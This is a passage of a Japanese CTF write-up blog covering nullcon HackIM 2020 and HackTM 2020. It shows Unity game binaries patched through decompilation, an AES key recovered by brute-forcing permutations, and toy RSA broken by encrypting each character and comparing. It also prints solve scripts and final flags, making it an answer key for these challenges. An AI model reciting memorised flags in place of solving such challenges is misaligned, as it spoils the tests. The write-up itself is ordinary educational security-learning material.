nullcon HackIM 2020 Writeup

nullcon HackIM 2020 について

nullcon HackIM 2020 が開催されました。
2020年02月08日午前2時から2020年02月09日の午後2時（36時間）

ctf.nullcon.net

今回は出かける用事があり、他の問題をほとんど見れていませんが、解いた問題の難易度は低めでした。 今回は、チームで参加しました。 結果は、130/1208位で、426点でした。実際に5問解くことができたので、そのWriteupを紹介します。

nullcon HackIM 2020 Writeup（5問）

ez pz sanity check（misc）

問題

get this plz

hackim20{no_insanity}

解答例

チュートリアル問題で、問題文にフラグが書かれていました。

FLAG

hackim20{no_insanity}

Zelda and the Zombies（Zelda Adventures）

問題

Welcome to Zelda adventures.

You wake up in Zelda land. Realizing you are the lone survivor to a deadly virus and you are surrounded by zombies. Zelda remembers the words of his master. He said, "It would take years for any mortal man to kill those zombies".

tl;dr: Kill any 1 NPC to get the flag.

This challenge does not follow the flag format

Download Game Here: https://drive.google.com/file/d/1W_KJhSn6wTQiUYBNY5xhmbseJXC0l2Up Author: @lionaneesh

解答例

問題文のリンクからファイルをダウンロードすると、Unity製のゲームが入っていました。 実行すると、以下のような感じになっていました。

問題文には、「Kill any 1 NPC to get the flag.」と書かれているので、NPCを倒すことを目標にします。 Unity製のソフトは、Managed\Assembly-CSharp.dllをデコンパイルすれば読むことができます。 dnSpyでデコンパイルして、ダメージ計算処理の部分を読むと、以下のようになっていました。

以下のように変更し、ダメージを受けると体力が0になるように調整しました。

実行してみると、NPCがプレイヤーに触れた瞬間消えて、フラグが表示されました。

フラグが表示されましたが、結構読みづらいので、以下のツールを使って、アセットを抽出させました。

github.com

アセット内を探索していると、以下のようなフォントが見つかりました。

このフォントとフラグを見比べると、「REVOLUTIONSTARTSWITHME」となっていました。

FLAG

REVOLUTIONSTARTSWITHME

Zelda at the Swamp（Zelda Adventures）

問題

Zelda realized that he could not only fight on land but on waters as well.

Head to FlagTown and cross the pond to get to the flag!

This challenge does not follow the flag format

Download Game Here: https://drive.google.com/file/d/1W_KJhSn6wTQiUYBNY5xhmbseJXC0l2Up Author: @lionaneesh

解答例

今回の問題も前回の「Zelda and the Zombies」で使われていたUnity製のゲームを使うようです。 今回は、「FlagTown」に行って池を渡ってフラグを取ることが目標だそうです。

いろいろ歩き回ってみると、「FlagTown」というところを見つけました。池の上にフラグが浮いています。 ただし、池には当たり判定があり、池の中に入ることができません。

Unitiyの当たり判定について調べていると、以下のページで気になる文章を見つけました。

docs.unity3d.com

このページには、以下のように書かれています。

Collision Detection を Discrete (不連続) に設定すると、Rigidbody 2D と Collider 2D を持つゲームオブジェクトの動く速度が十分速い場合は、物理計算の更新の間に、ゲームオブジェクトが、互いに重なったり通り抜けたりすることができます。衝突の接触は新しい位置でのみ発生します。

動く速度が速いとすり抜けてしまう場合があるそうです。 Managed\Assembly-CSharp.dll を dnSpyでデコンパイルして、調査していると、以下の処理が見つかりました。 この処理を調整すれば、速度を上げられそうです。

今回は、5倍速になるように調整しました。

実行して、池に向かって走ると、オブジェクトをすり抜けることができました。 すり抜けると、別の場所にワープし、地面にフラグが書かれていました。

FLAG

BENDTHERULES42PIRATE

Zelda crossing the land's end（Zelda Adventures）

問題

Zelda is on the quest to find other survivors and is now standing at the land's end trying to cross over.

This challenge does not follow the flag format

Download Game Here: https://drive.google.com/file/d/1W_KJhSn6wTQiUYBNY5xhmbseJXC0l2Up Author: @lionaneesh

解答例

今回の問題も前回の「Zelda and the Zombies」、「Zelda at the Swamp」で使われていたUnity製のゲームを使うようです。 今回は、他の生存者を探すことが目標のようです。

前回の「Zelda at the Swamp」と同様に移動速度を上げて、壁抜けしながら歩き回っていると、右上の方に小さな集落を見つけました。

地面に書かれていた文字がフラグとなっていました。

FLAG

EXPLORERFORLIFE

Zelda and the Space Puzzle（Zelda Adventures）

問題

This challenge uses a different binary than other 3. And it follows the flag format.

After conquering on land. Zelda is stuck in another dimension in Space. He will be stuck here till he solves the puzzle that the dark lord has tested him with.

2 platforms are connected with multiple paths between them. There are 6 weird buttons in Space, walking over which makes up a key of sorts. Help Zelda solve the Space Puzzle.

Download Game Here: https://drive.google.com/file/d/1kP4yp9jxJVOa0gP7DeHPm_bLCF2X4Au_/view?usp=sharing Author: @lionaneesh

解答例

今回もUnity製のゲームのようですが、他の3つとは違うものとなっていました。 実行してみると、以下の場所からスタートします。

壁抜けしながら、色々探索してみましたが、よく分かりませんでした。 しばらく、Managed\Assembly-CSharp.dll を読んでいると、以下の処理が見つかりました。

   private void OnGUI()
    {
        StringBuilder stringBuilder = new StringBuilder();
        string text = stringBuilder.ToString();
        if (this.checkpoints.Count >= 1)
        {
            foreach (string value in this.checkpoints)
            {
                stringBuilder.Append(value);
            }
            text = stringBuilder.ToString();
            if (string.Equals(this.checkpoints[this.checkpoints.Count - 1], "final"))
            {
                if (string.Equals(this.encrypted, string.Empty))
                {
                    try
                    {
                        this.encrypted = this.Decrypt("pI0gDg911A3Qcf++L3rvfkwIEkXsg4jq6pwOHMgG1VlpPuE9t4eljr4fQvXUa9bMJN4TL+DzQoj8aHTe1sNt+y5FND+gqn04OOltMhv/sms=", text);
                    }
                    catch (CryptographicException ex)
                    {
                        this.encrypted = "wrong key Zelda! :(";
                    }
                    Debug.Log(this.encrypted);
                }
            }
            else
            {
                this.encrypted = string.Empty;
            }
        }
        if (!string.Equals(text, string.Empty))
        {
            GUI.Label(new Rect(0f, 5f, 400f, 105f), text, this.style);
        }
        if (!string.Equals(this.encrypted, string.Empty))
        {
            GUI.Label(new Rect(0f, 100f, 400f, 100f), this.encrypted, this.style);
        }
    }

何かを復号している処理が確認できます。AESの暗号になっており、復号にはキーを特定する必要がありそうです。 上記の処理をよく読むと、checkpointsの文字列を結合したものがキーとなっていそうです。 また、checkpointsの初期値は、0、最後の値は、"final"となっているようです。

   private void Start()
    {
        this.checkpoints = new List<string>();
        this.style.normal.textColor = Color.green;
        this.checkpoints.Add("0");
        this.encrypted = string.Empty;
    }

checkpointsの追記している処理を探してみると、以下の処理が見つかりました。 pepper、salt、chilly、pickles、oregano、masalaを組み合わせたものが、キーとなっていそうです。

   private void OnTriggerEnter2D(Collider2D other)
    {
        if (other.CompareTag("Player"))
        {
            PlayerAttrs component = other.GetComponent<PlayerAttrs>();
            Debug.Log(this.placeText.text);
            if (string.Equals(this.placeText.text, "CheckPoint 1!"))
            {
                string a = component.checkpoints[component.checkpoints.Count - 1];
                if (!string.Equals(a, "pepper"))
                {
                    component.checkpoints.Add("pepper");
                }
                Debug.Log(component.checkpoints.Count);
            }
            else if (string.Equals(this.placeText.text, "CheckPoint 2!"))
            {
                string a2 = component.checkpoints[component.checkpoints.Count - 1];
                if (!string.Equals(a2, "salt"))
                {
                    component.checkpoints.Add("salt");
                }
                Debug.Log(component.checkpoints.Count);
            }
            else if (string.Equals(this.placeText.text, "CheckPoint 3!"))
            {
                string a3 = component.checkpoints[component.checkpoints.Count - 1];
                if (!string.Equals(a3, "chilly"))
                {
                    component.checkpoints.Add("chilly");
                }
                Debug.Log(component.checkpoints.Count);
            }
            else if (string.Equals(this.placeText.text, "CheckPoint 4!"))
            {
                string a4 = component.checkpoints[component.checkpoints.Count - 1];
                if (!string.Equals(a4, "pickles"))
                {
                    component.checkpoints.Add("pickles");
                }
                Debug.Log(component.checkpoints.Count);
            }
            else if (string.Equals(this.placeText.text, "CheckPoint 5!"))
            {
                string a5 = component.checkpoints[component.checkpoints.Count - 1];
                if (!string.Equals(a5, "oregano"))
                {
                    component.checkpoints.Add("oregano");
                }
                Debug.Log(component.checkpoints.Count);
            }
            else if (string.Equals(this.placeText.text, "CheckPoint 6!"))
            {
                string a6 = component.checkpoints[component.checkpoints.Count - 1];
                if (!string.Equals(a6, "masala"))
                {
                    component.checkpoints.Add("masala");
                }
                Debug.Log(component.checkpoints.Count);
            }
            else if (string.Equals(this.placeText.text, "Final"))
            {
                Debug.Log("Hey welcome to final!\n");
                string a7 = component.checkpoints[component.checkpoints.Count - 1];
                if (!string.Equals(a7, "final"))
                {
                    component.checkpoints.Add("final");
                }
                Debug.Log(component.checkpoints.Count);
            }
        }
    }

キーの組み合わせをすべて出力するスクリプトと復号するプログラムを書きました。 復号処理は、Managed\Assembly-CSharp.dllのものをそのまま使用しています。

import itertools

def main():
    keys = (
        'pepper',
        'salt',
        'chilly',
        'pickles',
        'oregano',
        'masala',
    )

    key_pattern_list = list(itertools.permutations(keys, len(keys)))

    for key in key_pattern_list:
        print('{}{}{}'.format(0, ''.join(key), 'final'))

if __name__ == '__main__':
    main()

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace csharp
{
    class Program
    {
        static string Decrypt(string cipherText, string key)
        {
            byte[] array = Convert.FromBase64String(cipherText);
            using (Aes aes = Aes.Create())
            {
                Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[]
                {
                    73,
                    118,
                    97,
                    110,
                    32,
                    77,
                    101,
                    100,
                    118,
                    101,
                    100,
                    101,
                    118
                });
                aes.Key = rfc2898DeriveBytes.GetBytes(32);
                aes.IV = rfc2898DeriveBytes.GetBytes(16);
                using (MemoryStream memoryStream = new MemoryStream())
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(array, 0, array.Length);
                        cryptoStream.Close();
                    }
                    cipherText = Encoding.Unicode.GetString(memoryStream.ToArray());
                }
            }
            return cipherText;
        }
        static void Main(string[] args)
        {
            string text = "";
            StreamReader file = new StreamReader(args[0]);

            while ((text = file.ReadLine()) != null)
            {
                string decrypted;
                try
                {
                    decrypted = Decrypt("pI0gDg911A3Qcf++L3rvfkwIEkXsg4jq6pwOHMgG1VlpPuE9t4eljr4fQvXUa9bMJN4TL+DzQoj8aHTe1sNt+y5FND+gqn04OOltMhv/sms=", text);
                }
                catch (CryptographicException)
                {
                    continue;
                }
                Console.WriteLine("{0}: {1}", text, decrypted);
            }
        }
    }
}

実行すると、フラグを取得することができました。

$ python create_keys.py > key_list
$ dotnet.exe run key_list | grep -v "?"
0peppermasalapicklessaltoreganochillyfinal: hackim20{z3lda_s0lved_the_sp4ce_puzzl3}

FLAG

hackim20{z3lda_s0lved_the_sp4ce_puzzl3}

HackTM CTF Quals 2020 Writeup

HackTM CTF Quals 2020 について

HackTM CTF Quals 2020 が開催されました。
2020年02月01日午後5時～2020年02月03日午後5時（48時間）

ctf.hacktm.ro

HackTM CTF 2020の予選大会が開催されました。上位10チームは、ルーマニアに招待してもらえるそうです。 難易度は結構高く、全然解くことができませんでした。頑張って解いたつもりが、終了後振り返ってみると、4.2%しか解けていなかったようです。 今回は、1人で参加しました。 結果は、133/747位で、516点でした。実際に6問解くことができたので、そのWriteupを紹介します。

HackTM CTF Quals 2020 Writeup（6問）

RSA is easy #1（crypto）

問題

（問題文なし、作者名のみ）

Author: stackola

添付ファイル

• challenge_files.zip

解答例

zipファイルを展開すると、rsa.pyとc というファイルが入っていました。 rsa.py は、以下のようになっていました。

import random
from my_math import next_prime

from flag import flag

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b//a, b % a
        m, n = x-u*q, y-v*q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def gen_keys(p, q):
    e = 65537
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, d, b = egcd(e, phi)
    # Keys:((pub),  (priv))
    return ((e, n), (d, n))


def enc(key, p):
    e, n = key
    cipher = [pow(ord(char), e, n) for char in p]
    return cipher

def dec(pk, c):
    key, n = pk
    plain = [chr(pow(char, key, n)) for char in c]
    return ''.join(plain)


p = next_prime(random.SystemRandom().getrandbits(512))
q = next_prime(random.SystemRandom().getrandbits(512))

flag_key=gen_keys(p, q)

print("Public key:")
print(flag_key[0])

flag_c=(enc(flag_key[0], flag))

print("Encrypted flag:")
print(flag_c)

また、cファイルには、公開鍵と暗号化されたデータが書かれていました。

Public key:
(65537, 28150970547901913019901824364390497053600856369839321617996700606130553862041378369018779003752433356889118526332329074054728613209407037089320809898343953157935211086135010436283805891893636870991411236307901650696221491790470635225076251966300189483160148297407974155121570252648252906976186499329924342873)

Encrypted flag:
[24603931406187071861602497345394097692989773194039735745762181586628499407802825983901643034231448504738113184470035863824128031443012073830520233613935485192804104698999763287388765215634314977991988580048221541560353418280294402691661980705832590960497587810514295642811714680627768268704899874164681718449, 11226318059664066669163529308725576208632153806776762372429671026861927737060205604020741904348343722215670471225630839065129589767356765848271000166982882271636977663052775953958080543340165408211633442938366994031562890034541604362383645601883118173819506187865617998294930587997187071040181458961091560176, 15645290594995180815865397749136800126080704684884296404807344870555186823350216705796063922278419585484662234210001661578549560411864952462380096494781766394542247609648743673312823946783517115542404474786395934886667795692210287283039316418126796934535150832709500306153601987121172178183970841498331059732, 24345863558959407738249127568820138362115734211146549194534219311913032290216606859385934708675962835857804566049600710875035366973110422262131331932310524891713319358676673958738776644229757625523955354996402750265022578843637525183704187498194489645838490640529841182709661371499013082259193633000753627261, 9620679224297488175028367924764722982789333194446063577221477359704180638294602848741035585656113543497776415635770748468725814916994577398023154224563920936523717884116880223345204061598438291740007518025998041449406726084042681798053863495542392481059281588020105313791046017356493739244555377217866496734, 1681724029430984846089508679185107538104072555994133932050319175633667369916570440070548756805254789524599169177371471218251246349461689959989338169394649813424706418737543924129213419625988100326558802566046751879531469160120914735332858786199496335523515150741728027296830843112416558460932541777024522279, 20629854768856798537062426042570334097651328955665698429979954410631113160492201197690192324881508105172595216229624523572595589920695165876501026993810936392510720968159305964832449680889041278532807173859579419197780294984519222830572413180237776797800176462492384318120546495539728732366110782215071262307, 7440918084186181327822271261394344901791253526257166181264874776746516620936925799031445704193589071453959493392065321806281801023425299535553522582376879027448581379760896052013060957519595664095702210758316558762834545655992756483227787274192094065257224706388623944855362716578806372564148647945479173348, 5097867843777034076271397095201528351784693372027998615436445410912131141882225577577253530396333413579756394884096318434100382509189974240357351425474190558456256750742731090012822064840481143528081027106843123030275420215136304130321013605031261372665636366377162666476737296028608455229357416005773064242, 10420107412794383499391199999666100864853724770814620968725971207705900061273163202891569477729023724554388008575891113425781557296798472693974759813058067631655217722786373465395279381307973425004404348124524059844749313287030234750535347511172780349725636807760402334957881556461382950021814486095167001394, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 11226318059664066669163529308725576208632153806776762372429671026861927737060205604020741904348343722215670471225630839065129589767356765848271000166982882271636977663052775953958080543340165408211633442938366994031562890034541604362383645601883118173819506187865617998294930587997187071040181458961091560176, 16657126895659048065404729920028465477385009450133540950695155983380795627778054526133891673615252510518969355629562948102050307259107355106086468465392660721567070464708776158039303608428552547481825035736610837329720474688421062759594907620576318249542577396722737724172954532394471909440668625218820801756, 11113777356910731413424023299582648618258376222028450254478672148119889617557563576704932635131420845868165014982665717620845578039880527701593963719893467068820107811384041511295664833904504511210342105242330522375476482706044695838957591685781703894244561607764476555630573446589408768780659378128082633769, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 1681724029430984846089508679185107538104072555994133932050319175633667369916570440070548756805254789524599169177371471218251246349461689959989338169394649813424706418737543924129213419625988100326558802566046751879531469160120914735332858786199496335523515150741728027296830843112416558460932541777024522279, 5237767970074646857079948735567615361735616179074197239639640947679550920349684166643572837235712904929824521258264241503059989875517915784117038966236672390569320206379357882906463342282254405974383459878863044723383164329146669331810709270455492110346838097216174137176255793792848357953314563364460847842, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 2141625583250052666579569568613448089970148215959031795439930595139028085767825695294403905882459409861220995951141855281841435481587946825079031782977651718402048988278639212978854590412709087674713750292922397103941195760574072700517109381299788645871729355745594573785064162048047595009933642068871994670, 278354276293884030290100330445865286604723740111170856624965259573282278044823323212960304154629174664076141280100412502135750130875356944835909175355370317285768658282746817782130476757714384697086179400629156643250500432197002583758692394681401772203578628635926749457621478296182304772136118691761841359, 6039667595601233082552071610487048398346324705021423176423484623705376133358539134558362499891954091431687578305623106726900655384011241742715735786166290331136153240702822544221903404870992713778423167867663948083662620087859096707381620051266745156545213726214080049764382107442159825610310695543673475542, 21353765873487781085375016306418205544750755310255410963646737671193146222650262290683259548572190880304009015662963424520575937651278866672082973874806201031606257157229306007587966460187818647603633973019548401357989358306250139692325474674826791149726161678649996852062656272851387461089863388359261125336, 11226318059664066669163529308725576208632153806776762372429671026861927737060205604020741904348343722215670471225630839065129589767356765848271000166982882271636977663052775953958080543340165408211633442938366994031562890034541604362383645601883118173819506187865617998294930587997187071040181458961091560176, 20576388598886140095325204584799302384454378372204683348252463729525849583734948105765087991438423260690623246579570440405616572326057536248148020737810766134083795050076636686776809469271643188562482921546497071402873405706504773345621716428511481598704631451463399778602486417840466985891815649711178813963, 17347447662661486040040289855519394974371562320877472776529836975445205017304164550202099250096382852783253959549113036367974281750823938616836362593312254792770954856762797438690474329666549947795964992533463700161635382925555835347885819042031312006167190561233042383984087765920275010577545908085026177611, 11788628214684738246695632901992250075758959059858474645166125685861157046466064692980236734739634298802473894878268029860203026238925142258303727438570051822763330338744774300757888262747314093511013562545738571326771345495509434761853742569509480619380000424215527153118231084573851377049921456961916278761, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 2141625583250052666579569568613448089970148215959031795439930595139028085767825695294403905882459409861220995951141855281841435481587946825079031782977651718402048988278639212978854590412709087674713750292922397103941195760574072700517109381299788645871729355745594573785064162048047595009933642068871994670, 2710029303357232932696197225263692040597986927359269224740812600224998707144266259851604978553286889767425982708691908438984279442981540971935737617354609856642312100797081348174935195638083002333058089328102430432526612805955273581245352312630845237670744276402867230550537275379675828467791243032108754996, 19981107233593350929447953514006501458466479260151660185153999799085657467921097940751860717309377498501638075002136637344148955811617399850718322497572421311807629329642551519284713638882025500074565475569618691516951449764680555447185364165687596161053684299589053909233984617244886185728811651967713024530, 3975884358027162862622932959187611984655247354547659825042810425039322096401899672988989768997134724085482147901304365437476311647149733392577446833370358728610677436154877051592307539990184750467273668379065865808900410057533079113476991204462719784464847498582643056503810805516315622314948257403761762299, 6039667595601233082552071610487048398346324705021423176423484623705376133358539134558362499891954091431687578305623106726900655384011241742715735786166290331136153240702822544221903404870992713778423167867663948083662620087859096707381620051266745156545213726214080049764382107442159825610310695543673475542, 14296542628093736444815382636071360035549021313467366701986569710120268508807886041986007828960248665683292143486565404978073122476968882030310174125355932205646388813061197657253533595700948593692407928813318978600474254105007396254987998953819782624738628334271910759242195864082910860797444993756044746481, 20895198446192697825002890636650624361863759520944494391240191454443921345578043873584884838772334163748883476104011030592329948454531053024873263786017045083052443924403769542324123323834338391361149767913830998218951574784777785739566046139742309557536025214334831372509789246522325522982945241815388133477, 7983594351048693624291138893287137601848867970873700373034058935656045095987011116108642350616654713531373295621458596238107660073931212524833777531450461876588350132328332972361857441613098452082271331281504722310376573085001395356078670960667878342134517577992585442881605030717788248137764480486762452442, 7983594351048693624291138893287137601848867970873700373034058935656045095987011116108642350616654713531373295621458596238107660073931212524833777531450461876588350132328332972361857441613098452082271331281504722310376573085001395356078670960667878342134517577992585442881605030717788248137764480486762452442, 23267174349531278768420819619439317179083929128083924515569762521057285892931325108327037262091624670335579302436476096123152288550738706103166820604983405317430467198343871458522070337902643863890959573514405066297449924638838605501211486861582957963752388608487593217237563529201436917108304692859773404548]

rsa.pyをよく読むと、文字列を1文字ずつに分解して、それぞれを暗号化しているようです。 また、公開鍵があるので、eとnが判明しています。

1文字ずつ暗号化しているので、総当たりで暗号化して比較すれば、どの文字が暗号化されているのかが分かりそうです。 以下のように総当たりで暗号化して比較するスクリプトを作成しました。

import string

def main():
    with open("c", "r") as f:
        lines = f.readlines()    
    e, n = eval(lines[1])
    c_list = eval(lines[4])

    flag = ""
    for c in c_list:
        for char in string.printable:
            if c == pow(ord(char), e, n):
                flag += char
                break
    print(flag)

if __name__ == "__main__":
    main()

実行するとフラグを取得することができました。

$ python solve.py
HackTM{why_ar3_MY_pR1va7es_pu8l1C_??}

FLAG

HackTM{why_ar3_MY_pR1va7es_pu8l1C_??}

RSA is easy #2（crypto）

問題

Provide the flag in this format:

HackTM{words_you_found}

Example:
If you find "i am a flag"
submit:
HackTM{i_am_a_flag}

Author: stackola

添付ファイル

• challenge_files_2.zip

解答例

zipファイルを展開すると、rsa.pyとc というファイルが入っていました。 rsa.py は、「RSA is easy #1」と同じファイルでした。 cというファイルは、以下のようになっていました。

Public key:
[DATA CORRUPTED]

Encrypted flag:
[34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 22898825038689625715487339309684047496088088286379048682632329486928624317960893419908872575544541743109960984821146081005860923057711786824611353925189608095318119267730739890712604642525421504696090823029339278724706589872240410882755614978083387780278129076143536569517954666638462991000336176075614807880, 32673744615799712487218586784858666657615496658878295924699304141157435241805321678825497057203170526047413088723755930727839423037832480520297361079311603101279858983310265841651031957166707800564192379099456051456890378670008176632913201998572911894331423107676669652519124282681545581828946130363768378027, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 39071839511948638988080907036852746654085273366404837973213329692814484554408908523546999438831321352816110395822192272922701572846039352688552458816923896373772472819785936751685465282644216513301671688378689515602296293965301386883552780271126801778759956341143215735911106078099952795281272294184101222894, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 